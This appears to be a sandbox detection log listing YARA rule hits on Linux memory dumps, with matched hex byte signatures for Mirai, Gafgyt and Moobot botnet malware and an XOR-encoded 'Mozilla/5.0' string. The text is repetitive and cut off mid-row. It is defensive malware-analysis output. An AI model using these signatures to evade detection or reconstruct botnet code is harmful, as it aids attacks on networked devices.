6580.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6580.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7351.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7351.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7351.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7351.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7351.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7351.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7350.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7350.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7350.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7350.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7350.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7350.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7134.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6939.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7310.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6589.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6589.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6589.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6589.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6589.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6589.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7016.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6325.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6274.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6435.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6551.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6728.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6455.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6455.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6455.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6455.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6455.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6455.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6387.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6387.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6387.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6387.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6387.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 